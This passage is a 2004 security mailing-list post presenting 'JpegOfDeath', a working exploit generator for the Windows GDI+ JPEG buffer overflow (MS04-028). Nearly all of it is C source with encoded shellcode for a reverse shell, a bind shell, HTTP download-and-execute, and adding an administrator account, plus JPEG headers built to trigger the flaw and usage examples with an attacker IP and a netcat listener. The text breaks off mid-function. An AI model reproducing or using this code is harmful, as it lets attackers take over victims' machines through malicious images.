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| Subject: | [EXPL] JpegOfDeath - an Advanced JPEG (GDI+) Exploit |
|---|---|
| Date: | 6 Oct 2004 11:54:29 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - JpegOfDeath - an Advanced JPEG (GDI+) Exploit ------------------------------------------------------------------------ SUMMARY In a previously reported article, <http://www.securiteam.com/windowsntfocus/5VP0H1FE0W.html> Buffer Overrun in JPEG Processing (GDI+) Allows Code Execution (MS04-028), a buffer overflow vulnerability in parsing JPEG comments was reported by Microsoft. Presented below is a proof of concept exploit program that will generate a JPEG file exploiting this vulnerability, this exploit code, unlike the ones released previously will allow you to do a variety of things: bind a shell to a port, reverse connect a shell to a port, download a file from an HTTP server or add a new administrative user. DETAILS Exploit: /* * Exploit Name: * ============= * JpegOfDeath.M.c v0.6.a All in one Bind/Reverse/Admin/FileDownload * ============= * Tweaked Exploit By M4Z3R For GSO * All Credits & Greetings Go To: * ========== * FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha, #romhack * Peter Winter-Smith, IsolationX, YpCat, Aria Giovanni, * Nick Fitzgerald, Adam Nance (where are you?), * Santa Barbara, Jenna Jameson, John Kerry, so1o, * Computer Security Industry, Rom Hackers, My chihuahuas * (Rocky, Sailor, and Penny)... * =========== * Flags Usage: * -a: Add User X with Pass X to Admin Group; * IE: Exploit.exe -a pic.jpg * -d: Download a File From an HTTP Server; * IE: Exploit.exe -d http://YourWebServer/Patch.exe pic.jpg * -r: Send Back a Shell To a Specified IP on a Specific Port; * IE: Exploit.exe -r 192.168.0.1 -p 123 pic.jpg (Default Port is 1337) * -b: Bind a Shell on The Exploited Machine On a Specific Port; * IE: Exploit.exe -b -p 132 pic.jpg (Default Port is 1337) * Disclaimer: * =========== * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") // Exploit Data... char reverse_shellcode[] = "\xD9\xE1\xD9\x34" "\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\xAC\xFE\x80" "\x30\x92\x40\xE2\xFA\x7A\xA2\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB" "\x54\xEB\x7E\x6B\x38\xF2\x4B\x9B\x67\x3F\x59\x7F\x6E\xA9\x1C\xDC" "\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C\x21\x84\xC5\xC1" "\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6\x1B\x77\x1B\xCF" "\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2\x8E\x3F\x19\xCA" "\x9A\x79\x9E\x1F\xC5\xB6\xC3\xC0\x6D\x42\x1B\x51\xCB\x79\x82\xF8" "\x9A\xCC\x93\x7C\xF8\x9A\xCB\x19\xEF\x92\x12\x6B\x96\xE6\x76\xC3" "\xC1\x6D\xA6\x1D\x7A\x1A\x92\x92\x92\xCB\x1B\x96\x1C\x70\x79\xA3" "\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92\x6D\xC7\x8A\xC5" "\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x86\x1B\x51\xA3\x6D\xFA\xDF" "\xDF\xDF\xDF\xFA\x90\x92\xB0\x83\x1B\x73\xF8\x82\xC3\xC1\x6D\xC7" "\x82\x17\x52\xE7\xDB\x1F\xAE\xB6\xA3\x52\xF8\x87\xCB\x61\x39\x54" "\xD6\xB6\x82\xD6\xF4\x55\xD6\xB6\xAE\x93\x93\x1B\xCE\xB6\xDA\x1B" "\xCE\xB6\xDE\x1B\xCE\xB6\xC2\x1F\xD6\xB6\x82\xC6\xC2\xC3\xC3\xC3" "\xD3\xC3\xDB\xC3\xC3\x6D\xE7\x92\xC3\x6D\xC7\xBA\x1B\x73\x79\x9C" "\xFA\x6D\x6D\x6D\x6D\x6D\xA3\x6D\xC7\xB6\xC5\x6D\xC7\x9E\x6D\xC7" "\xB2\xC1\xC7\xC4\xC5\x19\xFE\xB6\x8A\x19\xD7\xAE\x19\xC6\x97\xEA" "\x93\x78\x19\xD8\x8A\x19\xC8\xB2\x93\x79\x71\xA0\xDB\x19\xA6\x19" "\x93\x7C\xA3\x6D\x6E\xA3\x52\x3E\xAA\x72\xE6\x95\x53\x5D\x9F\x93" "\x55\x79\x60\xA9\xEE\xB6\x86\xE7\x73\x19\xC8\xB6\x93\x79\xF4\x19" "\x9E\xD9\x19\xC8\x8E\x93\x79\x19\x96\x19\x93\x7A\x79\x90\xA3\x52" "\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52"; char bind_shellcode[] = "\xD9\xE1\xD9\x34\x24\x58\x58\x58" "\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\x97\xFE\x80\x30\x92\x40\xE2" "\xFA\x7A\xAA\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB\x54\xEB\x77\xDB" "\x14\xDB\x36\x3F\xBC\x7B\x36\x88\xE2\x55\x4B\x9B\x67\x3F\x59\x7F" "\x6E\xA9\x1C\xDC\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C" "\x21\x84\xC5\xC1\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6" "\x1B\x77\x1B\xCF\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2" "\x8E\x3F\x19\xCA\x9A\x79\x9E\x1F\xC5\xBE\xC3\xC0\x6D\x42\x1B\x51" "\xCB\x79\x82\xF8\x9A\xCC\x93\x7C\xF8\x98\xCB\x19\xEF\x92\x12\x6B" "\x94\xE6\x76\xC3\xC1\x6D\xA6\x1D\x7A\x07\x92\x92\x92\xCB\x1B\x96" "\x1C\x70\x79\xA3\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92" "\x6D\xC7\xB2\xC5\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x8E\x1B\x51" "\xA3\x6D\xC5\xC5\xFA\x90\x92\x83\xCE\x1B\x74\xF8\x82\xC4\xC1\x6D" "\xC7\x8A\xC5\xC1\x6D\xC7\x86\xC5\xC4\xC1\x6D\xC7\x82\x1B\x50\xF4" "\x13\x7E\xC6\x92\x1F\xAE\xB6\xA3\x52\xF8\x87\xCB\x61\x39\x1B\x45" "\x54\xD6\xB6\x82\xD6\xF4\x55\xD6\xB6\xAE\x93\x93\x1B\xEE\xB6\xDA" "\x1B\xEE\xB6\xDE\x1B\xEE\xB6\xC2\x1F\xD6\xB6\x82\xC6\xC2\xC3\xC3" "\xC3\xD3\xC3\xDB\xC3\xC3\x6D\xE7\x92\xC3\x6D\xC7\xA2\x1B\x73\x79" "\x9C\xFA\x6D\x6D\x6D\x6D\x6D\xA3\x6D\xC7\xBE\xC5\x6D\xC7\x9E\x6D" "\xC7\xBA\xC1\xC7\xC4\xC5\x19\xFE\xB6\x8A\x19\xD7\xAE\x19\xC6\x97" "\xEA\x93\x78\x19\xD8\x8A\x19\xC8\xB2\x93\x79\x71\xA0\xDB\x19\xA6" "\x19\x93\x7C\xA3\x6D\x6E\xA3\x52\x3E\xAA\x72\xE6\x95\x53\x5D\x9F" "\x93\x55\x79\x60\xA9\xEE\xB6\x86\xE7\x73\x19\xC8\xB6\x93\x79\xF4" "\x19\x9E\xD9\x19\xC8\x8E\x93\x79\x19\x96\x19\x93\x7A\x79\x90\xA3" "\x52\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52"; char http_shellcode[]= "\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x30\x30\x21\x75\xF4" "\xEB\x05\xE8\xEC\xFF\xFF\xFF\xFE\x94\x16\x17\x17\x4A\x42\x26" "\xCC\x73\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14" "\x71\x26\xC5\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x10\x3E" "\xD5\xFE\xE5\xE8\xE8\xE8\x9E\xC4\x9C\x6D\x2B\x16\xC0\x14\x48" "\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C\x6C\x33\x16\xC1\x16\xC0\xEB" "\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE\x97\xD6\x18\xE4\xB1\x65" "\x1D\x81\x4E\x90\xEA\x63\x05\x50\x50\xF5\xF1\xA9\x18\x17\x17" "\x17\x3E\xD9\x3E\xE0\xFE\xFF\xE8\xE8\xE8\x26\xD7\x71\x9C\x10" "\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1" "\x9E\xC0\x4A\x9A\x92\xB7\x17\x17\x17\x57\x97\x2F\x16\x62\xED" "\xD1\x17\x17\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x13" "\x17\x17\x17\x7F\x17\x07\x17\x17\x7F\x68\x81\x8F\x17\x7F\x17" "\x17\x17\x17\xE8\xC7\x9E\x92\x9A\x17\x17\x17\x9A\x92\x18\x17" "\x17\x17\x47\x40\xE8\xC1\x40\x9A\x9A\x42\x17\x17\x17\x46\xE8" "\xC7\x9E\xD0\x9A\x92\x4A\x17\x17\x17\x47\x40\xE8\xC1\x26\xDE" "\x46\x46\x46\x46\x46\xE8\xC7\x9E\xD4\x9A\x92\x7C\x17\x17\x17" "\x47\x40\xE8\xC1\x26\xDE\x46\x46\x46\x46\x9A\x82\xB6\x17\x17" "\x17\x45\x44\xE8\xC7\x9E\xD4\x9A\x92\x6B\x17\x17\x17\x47\x40" "\xE8\xC1\x9A\x9A\x86\x17\x17\x17\x46\x7F\x68\x81\x8F\x17\xE8" "\xA2\x9A\x17\x17\x17\x44\xE8\xC7\x48\x9A\x92\x3E\x17\x17\x17" "\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\x9A\x8A\x82\x17\x17\x17" "\x44\xE8\xC7\x9E\xD4\x9A\x92\x26\x17\x17\x17\x47\x40\xE8\xC1" "\xE8\xA2\x86\x17\x17\x17\xE8\xA2\x9A\x17\x17\x17\x44\xE8\xC7" "\x9A\x92\x2E\x17\x17\x17\x47\x40\xE8\xC1\x44\xE8\xC7\x9A\x92" "\x56\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17\x17\x17\x9A\x9A" "\x82\x17\x17\x17\x46\xE8\xC7\x9A\x92\x5E\x17\x17\x17\x47\x40" "\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x6F\xE9\xE8\xE8\x50" "\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17\x5B" "\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x41\x7E\x65" "\x63\x62\x76\x7B\x56\x7B\x7B\x78\x74\x17\x48\x7B\x74\x65\x72" "\x76\x63\x17\x48\x7B\x60\x65\x7E\x63\x72\x17\x48\x7B\x74\x7B" "\x78\x64\x72\x17\x40\x7E\x79\x52\x6F\x72\x74\x17\x52\x6F\x7E" "\x63\x47\x65\x78\x74\x72\x64\x64\x17\x40\x7E\x79\x5E\x79\x72" "\x63\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x56" "\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x42\x65" "\x7B\x56\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x45\x72\x76\x73" "\x51\x7E\x7B\x72\x17\x17\x17\x17\x17\x17\x17\x17\x17\x7A\x27" "\x27\x39\x72\x6F\x72\x17" "m00!"; char admin_shellcode[] = "\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x89\x06\x89\xc3" "\x53\x68\x7e\xd8\xe2\x73\xe8\xbd\x00\x00\x00\x89\x46\x0c\x53\x68" "\x8e\x4e\x0e\xec\xe8\xaf\x00\x00\x00\x89\x46\x08\x31\xdb\x53\x68" "\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\xd0\x89\x46\x04\x89" "\xc3\x53\x68\x5e\xdf\x7c\xcd\xe8\x8c\x00\x00\x00\x89\x46\x10\x53" "\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x14\x31\xc0\x31" "\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x00\x68\x72\x00" "\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x68\x6d\x00\x69" "\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x00\x00\x00\x89" "\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x50\x53\x50\x51" "\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x4e\x18\x49\x49" "\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x00\xff\x56\x14" "\xff\x56\x0c\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c" "\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24\x18" "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01" "\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38" "\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1" "\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04" "\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00"; char header1[] = "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64" "\x00\x64\x00\x00\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00" "\x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65" "\x00\x64\xC0\x00\x00\x00\x01\xFF\xFE\x00\x01\x00\x14\x10\x10\x19" "\x12\x19\x27\x17\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26" "\x2E\x3E\x35\x35\x35\x35\x35\x3E"; char setNOPs1[] = "\xE8\x00\x00\x00\x00\x5B\x8D\x8B" "\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"; char setNOPs2[] = "\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B" "\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"; char header2[] = "\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x01\x15\x19\x19" "\x20\x1C\x20\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\x2B" "\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\xFF\xC0\x00" "\x11\x08\x03\x59\x02\x2B\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01" "\xFF\xC4\x00\xA2\x00\x00\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x03\x04\x01\x02\x05\x00\x06\x01\x01\x01\x01" "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02" "\x03\x10\x00\x02\x01\x02\x04\x05\x02\x03\x06\x04\x05\x02\x06\x01" "\x05\x01\x01\x02\x03\x00\x11\x21\x31\x12\x04\x41\x51\x22\x13\x05" "\x61\x32\x71\x81\x42\x91\xA1\xC1\x52\x23\x14\xB1\xD1\x62\x15\xF0" "\xE1\x72\x33\x06\x82\x24\xF1\x92\x43\x53\x34\x16\xA2\xD2\x63\x83" "\x44\x54\x25\x11\x00\x02\x01\x03\x02\x04\x03\x08\x03\x00\x02\x03" "\x01\x00\x00\x00\x00\x01\x11\x21\x31\x02\x41\x12\xF0\x51\x61\x71" "\x81\x91\xA1\xB1\xD1\xE1\xF1\x22\x32\x42\x52\xC1\x62\x13\x72\x92" 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"\x84\x9B\xDB\x15\x35\x9F\x16\xE0\x1E\x86\xB9\x8F\x97\x11\x4E\xDA" "\x35\x02\x45\x25\x93\xF8\x55\x24\x17\xB9\x1B\xF5\xC8\x07\xA9\xE2" "\x2A\x76\xB0\xC2\x37\x01\x95\xAD\x81\xB6\x1C\x6A\xA2\x38\xD9\xAE" "\xCA\x59\x18\x75\x25\xFF\x00\x81\xAE\xD8\xE8\xBB\x47\x62\xAC\xB7" "\xB6\xA1\x8D\x40\xE3\x86\x65\x6D\x1E\xDB\x89\x2F\x9D\xCD\x6B\x24" "\x62\x41\x61\x89\xAC\x2D\x8B\x3E\xB6\x68\xC0\x63\x73\x70\x6B\x6B" "\x6A\xA1\x7A\xAC\x56\xE7\x11\x56\x58\xD4\x13\xA4\x0B\xB6\xEB\xB3" "\x3B\x47\x22\x95\xD3\x53\x2E\xEA\x19\x86\x96\xF7\x03\x83\x52\x9E" "\x54\xAB\x6E\x58\x63\x7C\x33\xCE\x93\xB1\x19\x1C\xE9\xDB\xAA\x35" "\xBF\x46\x8D\xD4\xD2\x56\xE0\xE0\x33\xA1\x4D\x0A\x4E\x3B\xB1\xCD" "\xD4\x06\x44\x56\x4A\xCD\x24\x26\xEA\x6D\x7A\x87\xDC\x3B\x60\x6D" "\xFC\x2A\x86\x1B\x97\x36\x6D\x42\x04\xA0\x11\xEE\xE7\x46\x22\x35" "\xD5\x26\xB0\x1C\x0B\x7C\x69\x5F\x06\xEC\x5A\xC5\x0B\x46\x70\x27" "\xF2\xD4\x79\xAD\x89\xDA\x30\x74\xBD\x98\xE4\x68\x58\x86\xE4\x1B" "\x69\xB9\xDC\x2B\x30\x87\x48\x53\xC5\x85\x3B\xDD\x8A\x4E\xB5\x42" "\xB2\x8C\x6E\x2C\x01\xF8\x56\x04\x7B\xC9\xA3\x05\x4F\xB4\xD5\xA2" "\xDF\xF6\xFD\xC6\xE2\xA7\x3C\x89\x24\xFE\xA9\x5E\xC3\xD4\x6D\xF7" "\x85\xC9\x59\x39\x63\x59\x9B\xFF\x00\x06\x1A\x5E\xFA\x69\x0A\x46" "\x2B\xC0\x9F\xC2\x91\x8B\xC9\x40\x58\x16\xBD\xF2\xC0\xD3\x3B\x7F" "\x2D\xA9\xBB\x2E\x49\x42\x6D\x52\x70\x39\x62\x9F\x08\x73\x6F\x20" "\x09\x64\x00\x01\x83\x2B\x00\xD5\x97\xBC\xDC\xF6\x9C\xA7\x66\xEA" "\xD9\xB6\x9F\xE1\x56\xDE\xBA\xEC\x65\xB4\x44\xD8\xE3\x8D\x52\x2F" "\x36\xCE\x74\x33\x7E\x9F\x2E\x22\x99\x8B\xC9\x6D\x5A\x6D\x9E\xA8" "\x22\xC7\x0C\xA8\x62\x3D\x17\x1D\x2F\xC8\xFA\xD4\xB0\x9E\x14\x45" "\x45\xD5\x6E\x96\x04\xE1\xF1\xA0\x37\x90\x5B\xD8\x7F\x81\x57\x1B" "\xC8\xD5\x48\x27\x0E\x3C\x6B\x3D\xCD\x44\x15\x92\x41\x25\x94\x82" "\xAE\x0E\x42\x97\x8D\x8C\x6D\xAE\x56\xB8\x26\xD8\x0F\xE3\x43\x93" "\x73\x18\x75\x28\xD7\xF8\xD5\xFF\x00\x74\xE4\x18\xC2\x82\xAC\x6F" "\x86\x7F\x2A\x4C\xBE\xE5\xFC\xD2\x22\xCC\x9A\x32\xD1\x7C\x7D\x68"; char admin_header0[]= "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x60\x00\x00" "\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00\x04\x00\x00\x00\x0A\x00\x00" "\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\xC0\x00\x00\x00\x01" ; char admin_header1[]= "\xFF\xFE\x00\x01" ; char admin_header2[]= "\x00\x14\x10\x10\x19\x12\x19\x27\x17\x17\x27\x32" ; char admin_header3[]= "\xEB\x0F\x26\x32" ; char admin_header4[]= "\xDC\xB1\xE7\x70" ; char admin_header5[]= "\x26\x2E\x3E\x35\x35\x35\x35\x35\x3E" "\xE8\x00\x00\x00\x00\x5B\x8D\x8B" "\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8" ; char admin_header6[]= "\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07" "\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14" "\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C" "\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C" "\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D" "\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32" "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32" "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32" "\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22" "\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01" "\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05" "\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02" "\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05" "\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08" "\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17" "\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43" "\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64" "\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85" "\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4" "\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3" "\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1" "\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8" "\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01" "\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A" "\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04" "\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31\x06\x12\x41" "\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1\x09\x23" "\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19" "\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47" "\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68" "\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88" "\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7" "\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6" "\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5" "\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00" "\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F" ; // Code... char newshellcode[2048]; unsigned char xor_data(unsigned char byte) { return(byte ^ 0x92); } void print_usage(char *prog_name) { printf(" Exploit Usage:\n"); printf("\t%s -r your_ip | -b [-p port] <jpeg_filename>\n\n", prog_name); printf("\t\t\t -a | -d <source_file> <jpeg_filename>\n\n"); printf(" Parameters:\n\n"); printf("\t-r your_ip or -b\t Choose -r for reverse connect attack mode\n\t\t\t\tand choose -b for a bind attack. By default\n\t\t\t\t if you don't specify -r or-b then a bind\n\t\t\t\t attack will be generated.\n\n"); printf("\t-a or -d\t\t The -a flag will create a user X with pass X, \n\t\t\t\t on the admin localgroup. The -d flag, will\n\t\t\t\t execute the source http path of the file\n\t\t\t\t given.\n"); printf("\n\t-p (optional)\t\t This option will allow you to change the port \n\t\t\t\t used for a bind or reverse connect attack.\n\t\t\t\t If the attack mode is bindthen the\n\t\t\t\t victim will open the -p port. If the attack\n\t\t\t\t modeis reverse connect then the port you\n\t\t\t\t specify will be the one you wantto listen \n\t\t\t\t on so the victim can connect to you\n\t\t\t\t right away.\n\n"); printf(" Examples:\n"); printf("\t%s -r 68.6.47.62 -p 8888 test.jpg\n", prog_name); printf("\t%s -b -p 1542 myjpg.jpg\n", prog_name); printf("\t%s -a whatever.jpg\n", prog_name); printf("\t%s -d http://webserver.com/patch.exe exploit.jpg\n\n", prog_name); printf(" Remember if you use the -r option to have netcat listening\n"); printf(" on the port you are using for the attack so the victim will\n"); printf(" be able to connect to you when exploited...\n\n"); printf(" Example:\n"); printf("\tnc.exe -l -p 8888"); exit(-1); } int main(int argc, char *argv[]) { FILE *fout; unsigned int i = 0,j = 0; int raw_num = 0; unsigned long port = 1337; // default port for bind and reverse attacks unsigned long encoded_port = 0; unsigned long encoded_ip = 0; unsigned char attack_mode = 2; // bind by default char *p1 = NULL, *p2 = NULL; char ip_addr[256]; char str_num[16]; char jpeg_filename[256]; WSADATA wsa; printf(" +------------------------------------------------+\n"); printf(" | JpegOfDeath - Remote GDI+ JPEG Remote Exploit |\n"); printf(" | Exploit by John Bissell A.K.A. HighT1mes |\n"); printf(" | TweaKed By M4Z3R For GSO |\n"); printf(" | September, 23, 2004 |\n"); printf(" +------------------------------------------------+\n"); if (argc < 2) print_usage(argv[0]); // process commandline for (i = 0; i < (unsigned) argc; i++) { if (argv[i][0] == '-') { switch (argv[i][1]) { // reverse connect case 'r': strncpy(ip_addr, argv[i+1], 20); attack_mode = 1; break; // bind case 'b': attack_mode = 2; break; // Add.Admin case 'a': attack_mode = 3; break; // DL case 'd': attack_mode = 4; break; // port case 'p': port = atoi(argv[i+1]); break; } } } strncpy(jpeg_filename, argv[i-1], 255); fout = fopen(argv[i-1], "wb"); if( !fout ) { printf("Error: JPEG File %s Not Created!\n", argv[i-1]); return(EXIT_FAILURE); } // initialize the socket library if (WSAStartup(MAKEWORD(1, 1), &wsa) == SOCKET_ERROR) { printf("Error: Winsock didn't initialize!\n"); exit(-1); } encoded_port = htonl(port); encoded_port += 2; if (attack_mode == 1) { // reverse connect attack reverse_shellcode[184] = (char) 0x90; reverse_shellcode[185] = (char) 0x92; reverse_shellcode[186] = xor_data((char)((encoded_port >> 16) & 0xff)); reverse_shellcode[187] = xor_data((char)((encoded_port >> 24) & 0xff)); p1 = strchr(ip_addr, '.'); strncpy(str_num, ip_addr, p1 - ip_addr); raw_num = atoi(str_num); reverse_shellcode[179] = xor_data((char)raw_num); p2 = strchr(p1+1, '.'); strncpy(str_num, ip_addr + (p1 - ip_addr) + 1, p2 - p1); raw_num = atoi(str_num); reverse_shellcode[180] = xor_data((char)raw_num); p1 = 